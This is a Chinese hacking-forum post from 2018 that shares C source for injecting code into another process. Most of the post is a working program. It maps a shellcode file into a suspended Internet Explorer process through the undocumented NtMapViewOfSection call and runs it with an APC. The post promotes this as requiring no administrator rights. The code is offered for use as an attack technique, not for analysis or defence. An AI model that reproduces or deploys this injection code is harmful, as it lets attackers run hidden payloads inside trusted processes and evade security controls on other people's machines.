看流星社区

 找回密码
 注册账号
查看: 2242|回复: 0

Ring3 NtMapViewOfSection注入DLL源码

[复制链接]

该用户从未签到

发表于 2018-2-27 22:25:47 | 显示全部楼层 |阅读模式
新的注入方式:利用一个未公开函数NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求
  1. #define _WIN32_WINNT 0x0400
  2. #include <windows.h>

  3. typedef LONG NTSTATUS, *PNTSTATUS;
  4. #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

  5. typedef enum _SECTION_INHERIT
  6. {
  7. ViewShare = 1,
  8. ViewUnmap = 2
  9. } SECTION_INHERIT;

  10. typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

  11. func_NtMapViewOfSection NtMapViewOfSection = NULL;


  12. LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
  13. DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )  
  14. {
  15. NTSTATUS Status;
  16. LARGE_INTEGER SectionOffset;
  17. ULONG ViewSize;
  18. ULONG Protect;
  19. LPVOID ViewBase;


  20. // 转换偏移量
  21. SectionOffset.LowPart = dwFileOffsetLow;
  22. SectionOffset.HighPart = dwFileOffsetHigh;

  23. // 保存大小和起始地址
  24. ViewBase = lpBaseAddress;
  25. ViewSize = dwNumberOfBytesToMap;

  26. // 转换标志为NT保护属性
  27. if (dwDesiredAccess & FILE_MAP_WRITE)
  28. {
  29. Protect = PAGE_READWRITE;
  30. }
  31. else if (dwDesiredAccess & FILE_MAP_READ)
  32. {
  33. Protect = PAGE_READONLY;
  34. }
  35. else if (dwDesiredAccess & FILE_MAP_COPY)
  36. {
  37. Protect = PAGE_WRITECOPY;
  38. }
  39. else
  40. {
  41. Protect = PAGE_NOACCESS;
  42. }

  43. //映射区段
  44. Status = NtMapViewOfSection(hFileMappingObject,
  45. hProcess,
  46. &ViewBase,
  47. 0,
  48. 0,
  49.             &SectionOffset,
  50. &ViewSize,
  51.             ViewShare,
  52.             0,
  53. Protect);
  54. if (!NT_SUCCESS(Status))
  55. {
  56. // 失败
  57. return NULL;
  58. }

  59. //返回起始地址
  60.    return ViewBase;
  61. }

  62. int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
  63. {
  64. HMODULE hDll = LoadLibrary( "ntdll.dll" );

  65. NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

  66. // 取ShellCode,任何你想实现的
  67. HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

  68. HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

  69. // 启动目标进程
  70. STARTUPINFO st;
  71. ZeroMemory (&st, sizeof(st));
  72. st.cb = sizeof (STARTUPINFO);

  73. PROCESS_INFORMATION pi;
  74. ZeroMemory (&pi, sizeof(pi));

  75. CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


  76. // 注入shellcode到目标进程地址空间
  77. LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

  78. // 创建一个新的能够在目标线程恢复是首先执行的APC
  79. QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
  80. ResumeThread (pi.hThread);
  81. CloseHandle (hFile);
  82. CloseHandle (hMappedFile);
  83. CloseHandle (pi.hThread);
  84. CloseHandle (pi.hProcess);
  85. return 0;
  86. }
复制代码
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-28 22:09

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表